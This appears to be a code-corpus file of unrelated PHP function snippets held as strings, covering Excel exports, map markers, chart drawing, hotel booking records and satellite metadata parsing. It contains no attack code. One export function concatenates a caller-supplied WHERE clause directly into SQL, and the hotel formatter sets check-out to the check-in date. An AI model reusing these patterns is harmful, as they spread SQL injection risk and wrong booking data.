width=\\\"\".$width.\"%\\\">&nbsp;</td>\";\r\n\t\t$this->body.=\"</tr>\";\r\n\t\t$c=0;\r\n\t\t#echo \"<hr>colonne= $colonne<hr>\";\r\n\r\n\t\tif ($this->form['CONT_FORM']=='yes'){\r\n\t\t\t$num_form_progr=$inputval['PROGR_NUM'];\r\n\t\t\t//echo \"<hr>$num_form_progr<hr>\";\r\n\t\t\tfor ($form_progr=1;$form_progr<=$num_form_progr;$form_progr++){\r\n\t\t\t\tforeach ($this->fields as $i => $val){\r\n\t\t\t\t\tif (isset($val['TYPE']) && $val['TYPE']!='') $field_type=\"field_{$val['TYPE']}\";\r\n\t\t\t\t\telse $field_type=\"field\";\r\n\t\t\t\t\tinclude_once \"{$field_type}.inc\";\r\n\t\t\t\t\t$field_obj=new $field_type($this, $i);\r\n\t\t\t\t\t$field_obj->attributes['VAR'].=\"_PROGR_\".$form_progr;\r\n\t\t\t\t\t$field_obj->make_close_html();\r\n\t\t\t\t\t#echo \"<br/>{$field_obj->attributes['VAR']} {$field_obj->attributes['TYPE']} - $colonne - $c -post \";\r\n\t\t\t\t\tif ($colonne == $c) {\r\n\t\t\t\t\t\t$this->body.=\"</tr><tr>\";\r\n\t\t\t\t\t\t$c=0;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t#echo $c;\r\n\t\t\t\t\tif ($field_obj->attributes['TYPE']!='hidden' && $field_obj->attributes['TYPE']!='') {\r\n\t\t\t\t\t\tif ($field_obj->attributes['COLS']=='') $c++;\r\n\t\t\t\t\t\telse {\r\n\t\t\t\t\t\t\t$c+=$field_obj->attributes['COLS'];\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif ($field_obj->attributes['TYPE']!='hidden') $this->body.=$field_obj->html;\r\n\t\t\t\t\t/*$this->salva_js.=$field_obj->salva_js;\r\n\t\t\t\t\t $this->check_js.=$field_obj->check_js;\r\n\t\t\t\t\t $this->invia_js.=$field_obj->invia_js;*/\r\n\t\t\t\t\tif (!$field_obj->validata) $this->validata=$field_obj->validata;\r\n\t\t\t\t\t$controlli.=$field_obj->controlli;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\t$campi_sql=null;\r\n\t\t\tforeach ($this->fields as $i => $val){\r\n\t\t\t\tif (isset($val['TYPE']) && $val['TYPE']!='') $field_type=\"field_{$val['TYPE']}\";\r\n\t\t\t\telse $field_type=\"field\";\r\n\t\t\t\tinclude_once \"{$field_type}.inc\";\r\n\t\t\t\t$field_obj=new $field_type($this, $i);\r\n\t\t\t\tif($field_obj->attributes['VAR']!='' && $field_obj->attributes['TB']!='no'){\r\n\t\t\t\t\t$field_obj->insert_stmt();\r\n\t\t\t\t\tif($this->form['SHOW_CODE']==''){\r\n\t\t\t\t\t\t$iter=1;\r\n\t\t\t\t\t\tforeach ($field_obj->field_stmt as $value) {\r\n\t\t\t\t\t\t\tif($iter>1 && $value==$field_obj->attributes['VAR'].'RC')continue;\r\n\t\t\t\t\t\t\t$curr_campo=\"curr_table.{$value}, \";\r\n\t\t\t\t\t\t\t$iter++;\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\tif($field_obj->attributes['EXCEL_QUERY']=='')$campi_sql.=$curr_campo;\r\n\t\t\t\t\t\telse $campi_sql.=\"{$field_obj->attributes['EXCEL_QUERY']} as \\\"{$field_obj->attributes['VAR']}\\\", \";\r\n\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse{\r\n\t\t\t\t\t\t$iter=1;\r\n\t\t\t\t\t\tforeach ($field_obj->field_stmt as $value) {\r\n\t\t\t\t\t\t\tif($iter>1 && substr($value,strlen($value)-5)=='_DTRC')continue;\r\n\t\t\t\t\t\t\t$curr_campo=\"curr_table.{$value}, \";\r\n\t\t\t\t\t\t\tif($field_obj->attributes['EXCEL_QUERY']=='')$campi_sql.=$curr_campo;\r\n\t\t\t\t\t\t\telse $campi_sql.=\"{$field_obj->attributes['EXCEL_QUERY']} as \\\"{$field_obj->attributes['VAR']}\\\", \";\r\n\t\t\t\t\t\t\t$iter++;\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t}\r\n\t\t\t\t\t//\t\t\t\t\t$campi_sql.=\"curr_table.{$field_obj->field_stmt[0]}, \";\r\n\t\t\t\t}\r\n\r\n\t\t\t}\r\n\t\t\t$campi_sql=rtrim($campi_sql,\", \");\r\n\t\t\tif($this->form['DB_FILE']==''){\r\n\t\t\t\t\r\n\t\t\t//prendo solo le schede chiuse\r\n\t\t\t\tif ($evenif_open == false){\r\n\t\t\t\t\t$fine_condition = \"AND coor.fine=1\";\r\n\t\t\t\t}\r\n\t\t\t\t//prendo anche le schede aperte (fine = null)\r\n\t\t\t\telse{\r\n\t\t\t\t\t$fine_condition = null;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$excel_str=\"select $campi_sql from {$this->form['TABLE']} curr_table, \".$GLOBALS['service'].\"_coordinate coor \r\n\t\t\t\twhere coor.{$this->PK_SERVICE}=curr_table.{$this->PK_SERVICE} and coor.progr=curr_table.progr \r\n\t\t\t\tand coor.visitnum=curr_table.visitnum and coor.visitnum_progr=curr_table.visitnum_progr and coor.esam=curr_table.esam \".$fine_condition;\r\n\t\t\t\t\r\n\t\t\t//possibilita' di aggiungere clausole WHERE\r\n\t\t\t\tif (!is_null($param_where) || $param_where != \"\"){\r\n\t\t\t\t\t$excel_str .= \" AND \". $param_where;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$excel_sql=new query($conn);\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\t$conn2=new dbconn(null,null,null,$this->form['DB_FILE']);\r\n\t\t\t\t$excel_str=\"select $campi_sql from {$this->form['PREFIX']}{$this->form['TABLE']} curr_table\";\r\n\t\t\t\t\r\n\t\t\t//possibilita' di aggiungere clausole WHERE\r\n\t\t\t\tif (!is_null($param_where) || $param_where != \"\"){\r\n\t\t\t\t\t$excel_str .= \" WHERE \". $param_where;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$excel_sql=new query($conn2);\r\n\t\t\t}\r\n\t\t\t//$excel_sql->set_sql($excel_str);\r\n\t\t\t$excel_sql->exec($excel_str,$bind_where);//non richiede binding per forza: di norma i paramentri sono calcolati funzionalmente\r\n\t\t\t//\t\t\techo $excel_str;\r\n\t\t\t//\t\t\t\t\t\tdie();\r\n\t\t\tif ($excel_sql->numcols>248) {\r\n\t\t\t\t//\t\t\t\t$excel=$excel_sql->tb_res_r();\r\n\r\n\t\t\t\t//echo \"<hr>\".$excel_sql->numcols;\r\n\t\t\t\t//echo \" -- \".$this->form['FNAME'].\"<hr>\";\r\n\t\t\t}\r\n\t\t\telse $excel=$excel_sql->tb_res();\r\n\t\t\t//\t\t\t\t\t\techo $excel;\r\n\t\t\t//\t\t\t\t\t\tdie();\r\n\t\t\tforeach ($this->fields as $i => $val){\r\n\t\t\t\tif (isset($val['TYPE']) && $val['TYPE']!='') $field_type=\"field_{$val['TYPE']}\";\r\n\t\t\t\telse $field_type=\"field\";\r\n\t\t\t\tinclude_once \"{$field_type}.inc\";\r\n\t\t\t\t$field_obj=new $field_type($this, $i);\r\n\t\t\t\t$field_obj->make_close_html();\r\n\t\t\t\t#echo \"<br/>{$field_obj->attributes['VAR']} {$field_obj->attributes['TYPE']} - $colonne - $c -post \";\r\n\t\t\t\tif ($colonne == $c) {\r\n\t\t\t\t\t$this->body.=\"</tr><tr>\";\r\n\t\t\t\t\t//echo \"qui\";\r\n\t\t\t\t\t$c=0;\r\n\t\t\t\t}\r\n\t\t\t\t#echo $c;\r\n\t\t\t\tif ($field_obj->attributes['TYPE']!='hidden' && $field_obj->attributes['TYPE']!='') {\r\n\t\t\t\t\tif ($field_obj->attributes['COLS']=='') $c++;\r\n\t\t\t\t\telse {\r\n\t\t\t\t\t\t$c+=$field_obj->attributes['COLS'];\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t}\r\n\t\t\t\t//\t\t\t\tif ($field_obj->attributes['TYPE']!='hidden') $this->body.=$field_obj->html;\r\n\t\t\t\t$testo=preg_replace(\"'<[\\/\\!]*?[^<>]*?>'si\",\"\",$field_obj->testo);\r\n\r\n\t\t\t\tif($field_obj->attributes['VAR']!='' && $val['TYPE']!='text' && $val['TYPE']!='hidden' && $testo!='' && $this->form['ADD_QUESTIONS']!=''){\r\n\t\t\t\t\tif($field_obj->attributes['EXCEL_NAME']=='')$excel=str_replace(\"<th>{$field_obj->attributes['VAR']}</th>\",\"<th><font color=red>{$field_obj->attributes['VAR']}</font> <br> {$testo}</th>\",$excel);\r\n\t\t\t\t\telse $excel=str_replace(\"<th>{$field_obj->attributes['VAR']}</th>\",\"<th><font color=red>{$field_obj->attributes['EXCEL_NAME']}</font> <br> {$testo}</th>\",$excel);\r\n\t\t\t\t\tif($field_obj->attributes['EXCEL_NAME']=='')$excel=str_replace(\"<th>D_{$field_obj->attributes['VAR']}</th>\",\"<th><font color=red>{$field_obj->attributes['VAR']}</font> <br> {$testo}</th>\",$excel);\r\n\t\t\t\t\telse $excel=str_replace(\"<th>D_{$field_obj->attributes['VAR']}</th>\",\"<th><font color=red>{$field_obj->attributes['EXCEL_NAME']}</font> <br> {$testo}</th>\",$excel);\r\n\t\t\t\t}\r\n\t\t\t\t/*$this->salva_js.=$field_obj->salva_js;\r\n\t\t\t\t $this->check_js.=$field_obj->check_js;\r\n\t\t\t\t $this->invia_js.=$field_obj->invia_js;*/\r\n\t\t\t\tif (!$field_obj->validata) $this->validata=$field_obj->validata;\r\n\t\t\t\t$controlli.=$field_obj->controlli;\r\n\t\t\t}\r\n\t\t}\r\n\t\t//\t\techo $excel_sql->numcols;\r\n\t\t//\t\tdie();\r\n\r\n\t\t//$this->body.=\"</table>\r\n\t\t// <!--FINE CAMPI-->\r\n\t\t// \";\r\n\t\tinclude_once(\"excel.inc\");\r\n\t\t$conversion=new excel_converter($excel);\r\n\t\t$file=$conversion->convert($excel);\r\n\t\treturn $file;\r\n\t\t/*\r\n\t\t $this->body.='\r\n\t\t <table class=\"sf\" align=\"center\" border=\"0\" cellpadding=\"2\" cellspacing=\"2\" width=\"98%\">\r\n\t\t <tr><td width=50%>&nbsp;</td><td>&nbsp;</td></tr>';\r\n\t\t for ($i=0;$i<count($this->fields);$i++){\r\n\t\t $field_obj=new field($this, $i);\r\n\t\t $field_obj->close_field();\r\n\t\t $this->body.=\"\\n\".$field_obj->html;\r\n\t\t }*/\r\n\t\t$this->onload='';\r\n\t\t#$this->body.='</table>';\r\n\t\t/*if (isset($in['ESAM'])&& $in['ESAM']==6)\r\n\t\t{\r\n\t\t$link_sae=Set_formAE($this->body);\r\n\t\t$this->body.=\"<a href=\\\"$link_sae\\\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<img border=\\\"0\\\" src=\\\"/images/pdf.gif\\\" >Stampa Scheda di segnalazione</a><br>\";\r\n\t\t}*/\r\n\t\t//if (isset($in['ESAM']) && $in['USER_TIP']!='RO')\t$this->body.=\"<a href=\\\"index.php?CENTER=\".$in['CENTER'].\"&amp;{$this->PK_SERVICE}=\".$in[$this->PK_SERVICE].\"&amp;VISITNUM=\".$in['VISITNUM'].\"&amp;ESAM=\".$in['ESAM'].\"&amp;PROGR=\".$in['PROGR'].\"&amp;eform=equery.xml\\\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Invia eQuery</a><br>\";\r\n\t\t//\tif ($in['all_exams_view']=='' && $in['equery_vis']=='' && $in['equery_view']=='' && $in['eform']=='' && $in['form']!='completa_autocert.xml')$this->body.='\r\n\t\t//\t <p align=left><a href=\"index.php?exams=visite_exams.xml&amp;CENTER='.$in['CENTER'].'&amp;{$this->PK_SERVICE}='.$in[$this->PK_SERVICE].'&amp;VISITNUM='.$in['VISITNUM'].'\">&lt;&lt;Torna alle schede della visita</a>';\r\n\t\tglobal $inputval;\r\n\t\tif ($in['equery_vis'] && $inputval['TO_BE_VALIDATE']=='1' && $inputval['VALIDATA']!='1') $this->body.=' <p align=left><a href=\"index.php?equery_view=vis&ID='.$in['ID'].'&amp;{$this->PK_SERVICE}='.$inputval[$this->PK_SERVICE].'&amp;VISITNUM='.$inputval['VISITNUM'].'&amp;ESAM='.$inputval['ESAM'].'&amp;PROGR='.$inputval['PROGR'].'\">&lt;&lt;Vai alla form di validazione</a>';\r\n\t\t//if ($in['all_exams_view']=='') $this->body.=\"<br/><a href=\\\"javascript:history.back();\\\">&lt;&lt;Indietro</a>\";\r\n\t\t$this->body.=\"</p>\";\r\n\t\t$href_alternativo=\"index.php?CENTER=\".$in['CENTER'].\"&{$this->PK_SERVICE}=\".$in[$this->PK_SERVICE].\"&VISITNUM=\".$in['VISITNUM'].\"&ESAM=\".$in['ESAM'].\"&PROGR=\".$in['PROGR'].\"&DOWN=1\";\r\n\t\t$this->body=preg_replace(\"/#HREF#/\", $href_alternativo, $this->body);\r\n\t\t$this->body=preg_replace(\"/<tr><\\/tr>/\", \"\",$this->body);\r\n\r\n\t}", "function icon_geopath_small($ptID, $ptImg, $ptName, $ptType, $pt_cache_intro_tr, $pt_icon_title_tr)\n{\n global $stylepath, $poweTrailMarkers;\n if ($ptImg == '')\n $ptImg = $stylepath . '/images/blue/powerTrailGenericLogo.png';\n // for testing use: $ptImg = 'ocpl-dynamic-files/images/uploads/powerTrailLogoId13.png';\n $PT_tip = $pt_cache_intro_tr . '<BR>';\n $PT_tip.='<table width=\\'99%\\'>';\n $PT_tip.=' <tr>';\n $PT_tip.=' <td width=\\'51\\'><img border=\\'0\\' width=\\'50\\' src=\\'' . $ptImg . '\\' /></td>';\n $PT_tip.=' <td align=\\'center\\'><span style=\\'font-size:13px;\\'><B>' . $ptName . '</B></span></td>';\n $PT_tip.=' </tr>';\n $PT_tip.='</table>';\n $PT_tip = str_replace('\\\\', '\\\\\\\\', $PT_tip);\n $PT_tip = str_replace('\\'', '\\\\\\'', $PT_tip);\n $PT_tip = htmlspecialchars($PT_tip, ENT_QUOTES, 'UTF-8');\n // no tabled version: $PT_tip= $pt_cache_intro_tr.'<BR><span align=center><B>'.$ptName.'</B><BR> <img border=0 width=50 src='.$ptImg.' /></span>';\n $PT_icon = '<a href=\"powerTrail.php?ptAction=showSerie&ptrail=' . $ptID . '\" onmouseover=\"Tip(\\'' . $PT_tip . '\\', OFFSETY, 25, OFFSETX, -135, PADDING,5, WIDTH,220,SHADOW,true)\" onmouseout=\"UnTip()\" class=\"links\">';\n $PT_icon.='<img src=\"' . $poweTrailMarkers[$ptType]['icon'] . '\" class=\"icon16\" alt=\"' . $pt_icon_title_tr . '\" title=\"' . $pt_icon_title_tr . '\" /></a>';\n\n return $PT_icon;\n}", "function graficoPoligno() {\n $maxValue = $this->desenhaBase();\n\n $labelY = $this->margem;\n\n $idx = 0;\n foreach ($this->vetor as $label => $item) {\n $points = array();\n $arPonto = array();\n $arValor = array();\n $idx++;\n\n $color = $this->getColor($idx, 0, 0, 0, 60);\n $x = $this->margem;\n $y = $this->gtamanho + $this->margem;\n\n foreach ($item as $referencia => $value) {\n $val = ($this->gtamanho + ($this->margem * 1)) - (floor((($this->gtamanho) * $value) / $maxValue));\n\n $points[] = $x;\n $points[] = $y;\n $points[] = ($x + $this->columSize);\n $points[] = $val;\n\n $arPonto[] = array(\n 'x' => ($x + $this->columSize),\n 'y' => $val\n );\n\n $arValor[] = array(\n 'x' => ($x + ($this->columSize + $this->margem)),\n 'y' => ($val - 3),\n 'value' => $value\n );\n\n $y = $val;\n $x += $this->columSize;\n }\n\n $points[] = $this->gtamanho + $this->margem;\n $points[] = $this->gtamanho + $this->margem;\n\n imagefilledpolygon($this->image, $points, (count($points) / 2), $color);\n\n if($this->opMostrarPontoValor) {\n foreach ($arPonto as $item) {\n $this->desenhaPonto($item['x'], $item['y'], null);\n }\n\n foreach ($arValor as $item) {\n imagestring($this->image, 2, $item['x'], ($item['y'] - $this->margem), utf8_decode($item['value']), null);\n }\n }\n\n $this->desenhaLabel($label, $color, $labelY);\n $labelY += ($this->margem * 2);\n }\n }", "function salva()\n {\n if (isset($this->layer)) {\n $this->recalculaSLD();\n }\n restauraConObj($this->mapa, $this->postgis_mapa);\n $this->mapa->save($this->arquivo);\n }", "public static function findPOIByLocation(array $data)\n {\n $response = self::send('web/get_pois/'. $data['ubicacion_id'], [],self::METHOD_GET);\n\n return $response;\n }", "public function exportExcel() \n {\n $st = ST::select(\n 'no_st',\n 'tanggal_st',\n 'tujuan_st',\n 'tipe', \n 'bidang',\n 'uraian',\n \n 'tanggal_mulai',\n 'tanggal_selesai',\n 'hp',\n 'no_laporan',\n 'tanggal_laporan',\n\n 'penanggung_jawab_id',\n 'pengendali_mutu_id',\n 'pengendali_teknis_id',\n 'ketua_tim_id', \n \n 'lokasi', \n 'biaya',\n 'km_id',\n 'costsheet_id'\n \n )->get();\n\n \n\n return Excel::create('data_tugas', function($excel) use ($st){\n $excel->sheet('st_bpkp', function($sheet) use ($st) {\n $sheet->fromArray($st);\n });\n })->download('xls');\n\n }", "public function adicionar($nome, $address, $lat, $lng, $type, $descricao, $ocorrido, $entrada){\r\n \r\n $dados['name']=$nome;\r\n $dados['address']=$address;\r\n $dados['lat']=$lat;\r\n $dados['lng']=$lng;\r\n $dados['type']=$type;\r\n $dados['id_usuario']= $auxid=$this->session->userdata('userlogado')->id;\r\n $dados['descricao']=$descricao;\r\n $dados['data_ocorrencia']=$ocorrido;\r\n $dados['data_entrada']=$entrada;\r\n $dados['status']='Ativo';\r\n\r\n //insert(nome da tabela, array)\r\n return $this->db->insert('markers', $dados);\r\n }", "function getLocation();", "public function format_for_xlwebpro_htl ($doc_nos, $doc_srno, $idate, $ccode, $scode, $hotel_name, $ticketno, $pax, $check_in_date, $check_out_date, $city_code, $basic_c, $basic_s, $nos_pax_a, $nos_pax_c, $room_sgl_nos=0, $room_sgl_pax=0, $room_sgl_rate=0, $room_trp_nos=0, $room_trp_pax=0, $room_trp_rate=0, $room_qad_nos=0, $room_qad_pax=0, $room_qad_rate=0, $room_twn_nos=0, $room_twn_pax=0, $room_twn_rate=0, $room_dbl_nos=0, $room_dbl_pax=0, $room_dbl_rate=0, $roomtype='000', $srv_chrg1c=0, $serv_educ=0, $serv_taxc=0, $hcode='H00000',$gcode='GI03HT', $doc_prf = 'HW', $roomview='000', $mealplan='000', $tarifftype='R') \r\n\t{\r\n\t\t$result['doc_prf'] = $doc_prf;\r\n\t\t$result['doc_nos'] = $doc_nos;\r\n\t\t$result['doc_srno'] = $doc_srno;\r\n\t\t$result['idm_flag'] = 'H';\r\n\t\t$result['il_ref'] = '';\r\n\t\t$result['vd_ref'] = '';\r\n\t\t$result['idate'] = $idate;\r\n\t\t$result['ccode'] = $ccode;\r\n\t\t$result['dcode'] = '';\r\n\t\t$result['ecode'] = '';\r\n\t\t$result['bcode'] = '';\r\n\t\t$result['narration'] = '';\r\n\t\t$result['xo_ref'] = 'H';\r\n\t\t$result['loc_code'] = '000';\r\n\t\t$result['cst_code'] = '000';\r\n\t\t$result['curcode_c'] = 'INR';\r\n\t\t$result['curcode_s'] = 'INR';\r\n\t\t$result['refr_key'] = '';\r\n\t\t$result['gcode'] = $gcode;\r\n\t\t$result['hcode'] = $hcode;\r\n\t\t$result['scode'] = $scode;\r\n\t\t$result['hotel_name'] = $hotel_name;\r\n\t\t$result['xo_nos'] = '';\r\n\t\t$result['ticketno'] = $ticketno; // concatenate first 3 columns\r\n\t\t$result['pax'] = $pax;\r\n\t\t$result['check_in_date'] = $check_in_date;\r\n\t\t$result['check_out_date'] = $check_in_date;\r\n\t\t$result['roomview'] = $roomview;\r\n\t\t$result['mealplan'] = $mealplan;\r\n\t\t$result['roomtype'] = $roomtype;\r\n\t\t$result['tarifftype'] = $tarifftype;\r\n\t\t$result['pkg_code'] = '';\r\n\t\t$result['city'] = $city_code;\r\n\t\t$result['room_sgl_nos'] = $room_sgl_nos;\r\n\t\t$result['room_sgl_pax'] = $room_sgl_pax;\r\n\t\t$result['room_sgl_rate'] = $room_sgl_rate;\r\n\t\t$result['room_sgl_purmth'] = 'RB';\r\n\t\t$result['room_sgl_purval'] = 0;\r\n\t\t$result['room_dbl_nos'] = $room_dbl_nos;\r\n\t\t$result['room_dbl_pax'] = $room_dbl_pax;\r\n\t\t$result['room_dbl_rate'] = $room_dbl_rate;\r\n\t\t$result['room_dbl_purmth'] = 'RB';\r\n\t\t$result['room_dbl_purval'] = 0;\r\n\t\t$result['room_twn_nos'] = $room_twn_nos;\r\n\t\t$result['room_twn_pax'] = $room_twn_pax;\r\n\t\t$result['room_twn_rate'] = $room_twn_rate;\r\n\t\t$result['room_twn_purmth'] = 'RB';\r\n\t\t$result['room_twn_purval'] = 0;\r\n\t\t$result['room_trp_nos'] = $room_trp_nos;\r\n\t\t$result['room_trp_pax'] = $room_trp_pax;\r\n\t\t$result['room_trp_rate'] = $room_trp_rate;\r\n\t\t$result['room_trp_purmth'] = 'RB';\r\n\t\t$result['room_trp_purval'] = 0;\r\n\t\t$result['room_qad_nos'] = $room_qad_nos;\r\n\t\t$result['room_qad_pax'] = $room_qad_pax;\r\n\t\t$result['room_qad_rate'] = $room_qad_rate;\r\n\t\t$result['room_qad_purmth'] = 'RB';\r\n\t\t$result['room_qad_purval'] = 0;\r\n\t\t$result['room_adt_nos'] = 0;\r\n\t\t$result['room_adt_pax'] = 0;\r\n\t\t$result['room_adt_rate'] = 0;\r\n\t\t$result['room_adt_purmth'] = 'RB';\r\n\t\t$result['room_adt_purval'] = 0;\r\n\t\t$result['room_chd_nos'] = 0;\r\n\t\t$result['room_chd_pax'] = 0;\r\n\t\t$result['room_chd_rate'] = 0;\r\n\t\t$result['room_chd_purmth'] = 'RB';\r\n\t\t$result['room_chd_purval'] = 0;\r\n\t\t$result['room_cwb_nos'] = 0;\r\n\t\t$result['room_cwb_pax'] = 0;\r\n\t\t$result['room_cwb_rate'] = 0;\r\n\t\t$result['room_cwb_purmth'] = 'RB';\r\n\t\t$result['room_cwb_purval'] = 0;\r\n\t\t$result['room_foc_nos'] = 0;\r\n\t\t$result['room_foc_pax'] = 0;\r\n\t\t$result['room_foc_rate'] = 0;\r\n\t\t$result['room_foc_purmth'] = 'RB';\r\n\t\t$result['room_foc_purval'] = 0;\r\n\t\t$result['stx_cenvat'] = 'C';\r\n\t\t$result['stx_method'] = 'S';\r\n\t\t$result['nos_pax_a'] = $nos_pax_a;\r\n\t\t$result['nos_pax_c'] = $nos_pax_c;\r\n\t\t$result['nos_pax_i'] = 0;\r\n\t\t$result['narr_1'] = '';\r\n\t\t$result['narr_2'] = '';\r\n\t\t$result['narr_3'] = '';\r\n\t\t$result['narr_4'] = '';\r\n\t\t$result['narr_5'] = '';\r\n\t\t$result['narr_6'] = '';\r\n\t\t$result['r_o_e_c'] = 0;\r\n\t\t$result['r_o_e_s'] = 0;\r\n\t\t$result['basic_c'] = $basic_c;\r\n\t\t$result['basic_s'] = $basic_s;\r\n\t\t$result['tax_c'] = 0;\r\n\t\t$result['tax_s'] = 0;\r\n\t\t$result['disc_paidm1'] = 'RB';\r\n\t\t$result['disc_paidm2'] = 'N';\r\n\t\t$result['disc_recdm1'] = 'RB';\r\n\t\t$result['brok_paidm1'] = 'RB';\r\n\t\t$result['disc_paidv1'] = 0;\r\n\t\t$result['disc_recdv1'] = 0;\r\n\t\t$result['brok_paidv1'] = 0;\r\n\t\t$result['disc_paid1'] = 0;\r\n\t\t$result['disc_recd1'] = 0;\r\n\t\t$result['brok_paid1'] = 0;\r\n\t\t$result['srv_paidm2'] = 'N';\r\n\t\t$result['srv_chrg1c'] = $srv_chrg1c;\r\n\t\t$result['srv_chrg2c'] = 0;\r\n\t\t$result['srv_chrg3c'] = 0;\r\n\t\t$result['raf_c'] = 0;\r\n\t\t$result['srv_chrg1p'] = 0;\r\n\t\t$result['srv_chrg2p'] = 0;\r\n\t\t$result['srv_chrg3p'] = 0;\r\n\t\t$result['raf_p'] = 0;\r\n\t\t$result['serv_taxc'] = $serv_taxc;\r\n\t\t$result['serv_educ'] = $serv_educ;\r\n\t\t$result['tdc_paidv1'] = 0;\r\n\t\t$result['tds_c'] = 0;\r\n\t\t$result['serv_taxp'] = 0;\r\n\t\t$result['serv_edup'] = 0;\r\n\t\t$result['tds_paidv1'] = 0;\r\n\t\t$result['tds_p'] = 0;\r\n\t\t$result['tdb_paidv1'] = 0;\r\n\t\t$result['tds_b'] = 0;\r\n\t\t$result['created_by'] = '';\r\n\t\t$result['created_on'] = '';\r\n\r\n\t\treturn $result;\r\n\t}", "function readDIMAP($filePath, $isFormosat) {\n\n libxml_use_internal_errors(true);\n\n $doc = new DOMDocument();\n $doc->loadXML(file_get_contents($filePath));\n \n $errors = libxml_get_errors();\n\n if (!$isFormosat) {\n $isFirst = 1;\n $footprint = 'POLYGON((';\n \n $vertices = $doc->getElementsByTagname('Dataset_Frame')->item(0)->getElementsByTagname('Vertex');\n // Bug of some F2 files...VERTEX is set instead of Vertex !!\n if ($vertices->length === 0) {\n $vertices = $doc->getElementsByTagname('Dataset_Frame')->item(0)->getElementsByTagname('VERTEX'); \n }\n foreach($vertices as $vertex) {\n $lon = trim($vertex->getElementsByTagName('FRAME_LON')->item(0)->nodeValue);\n $lat = trim($vertex->getElementsByTagName('FRAME_LAT')->item(0)->nodeValue);\n if ($isFirst === 1) {\n $lon1 = $lon;\n $lat1 = $lat;\n $isFirst = 0;\n }\n $footprint .= ((float) $lon) . ' ' . ((float) $lat) . ',';\n \n }\n $footprint .= ((float) $lon1) . ' ' . ((float) $lat1) . '))';\n }\n\n else {\n /*\n * Footprint as WKT POLYGON\n * \n * Formosat metadata are buggy and coordinates are not ordered so we\n * must use the line/pixel info to reorder geographical\n * coordinates...\n */\n $quads = array();\n $firstLine = 999999999;\n $lastLine = -999999999;\n $firstPixel = 999999999;\n $lastPixel = -999999999;\n\n $vertices = $doc->getElementsByTagname('Dataset_Frame')->item(0)->getElementsByTagname('Vertex');\n // Bug of some F2 files...VERTEX is set instead of Vertex !!\n if ($vertices->length === 0) {\n $vertices = $doc->getElementsByTagname('Dataset_Frame')->item(0)->getElementsByTagname('VERTEX'); \n }\n \n foreach($vertices as $vertex) {\n $lon = trim($vertex->getElementsByTagName('FRAME_LON')->item(0)->nodeValue);\n $lat = trim($vertex->getElementsByTagName('FRAME_LAT')->item(0)->nodeValue);\n $line = trim($vertex->getElementsByTagName('FRAME_ROW')->item(0)->nodeValue);\n $pixel = trim($vertex->getElementsByTagName('FRAME_COL')->item(0)->nodeValue);\n \n // Find the image extrema\n $firstLine = min($firstLine, $line);\n $firstPixel = min($firstPixel, $pixel);\n $lastLine = max($lastLine, $line);\n $lastPixel = max($lastPixel, $pixel);\n \n array_push($quads, array(\n 'line' => $line,\n 'pixel' => $pixel,\n 'lon' => ((float) $lon),\n 'lat' => ((float) $lat)\n ));\n }\n\n // Simple computation UL,UR,LL,LR coordinates\n $footprint = polygonFromQuad($quads);\n }\n\n // Only process first scene\n $scene = $doc->getElementsByTagname('Source_Information')->item(0);\n $sceneInfo = $scene->getElementsByTagname('Scene_Source')->item(0);\n $time = $sceneInfo->getElementsByTagname('IMAGING_DATE')->item(0)->nodeValue . 'T' . $sceneInfo->getElementsByTagname('IMAGING_TIME')->item(0)->nodeValue;\n $mission = $sceneInfo->getElementsByTagname('MISSION')->item(0)->nodeValue;\n \n // CNES (SPOT) or DMC ?\n if ($isFormosat) {\n $parentIdentifier = \"urn:ogc:def:EOP:FORMOSAT\"; \n }\n else if (strrpos($doc->getElementsByTagname('METADATA_PROFILE')->item(0)->nodeValue, \"DMC\") === 0) {\n $parentIdentifier = \"urn:ogc:def:EOP:DMC:\" . $mission;\n }\n else {\n $parentIdentifier = \"urn:ogc:def:EOP:SPOT:ALL\"; \n }\n\n return array(\n 'identifier' => $parentIdentifier . ':' . correctIdentifier($scene->getElementsByTagname('SOURCE_ID')->item(0)->nodeValue),\n 'parentidentifier' => $parentIdentifier,\n 'startdate' => $time,\n 'enddate' => $time,\n 'platform' => $mission . ($sceneInfo->getElementsByTagname('MISSION_INDEX')->item(0) ? ' ' . $sceneInfo->getElementsByTagname('MISSION_INDEX')->item(0)->nodeValue : ''),\n 'instrument' => $sceneInfo->getElementsByTagname('INSTRUMENT')->item(0)->nodeValue . ($sceneInfo->getElementsByTagname('INSTRUMENT_INDEX')->item(0) ? ' ' . $sceneInfo->getElementsByTagname('INSTRUMENT_INDEX')->item(0)->nodeValue : ''),\n 'footprint' => $footprint\n );\n\n}", "function gmap_obj($args){\n /*\n $args = array(\n 'id' => \"map-lyra\",\n 'lattitude' => \"43.5414097\",\n 'longitude' => \"1.5165507000000389\",\n 'zoom' => 16,\n 'address' => null,\n 'map_text' => null,\n );*/\n\n $output = \"<script src='https://maps.googleapis.com/maps/api/js?key=&sensor=false&extension=.js'></script>\";\n\n $output .= \"<script>\n google.maps.event.addDomListener(window, 'load', init);\n var map;\n function init() {\n var mapOptions = {\n center: new google.maps.LatLng(\".$args['lattitude'].\",\".$args['longitude'].\"),\n zoom: \".$args['zoom'].\",\n zoomControl: true,\n zoomControlOptions: {\n style: google.maps.ZoomControlStyle.SMALL\n },\n disableDoubleClickZoom: true,\n mapTypeControl: true,\n mapTypeControlOptions: {\n style: google.maps.MapTypeControlStyle.DROPDOWN_MENU\n },\n scaleControl: true,\n scrollwheel: false,\n panControl: true,\n streetViewControl: false,\n draggable : true,\n overviewMapControl: false,\n overviewMapControlOptions: {\n opened: false\n },\n mapTypeId: google.maps.MapTypeId.ROADMAP,\n styles: 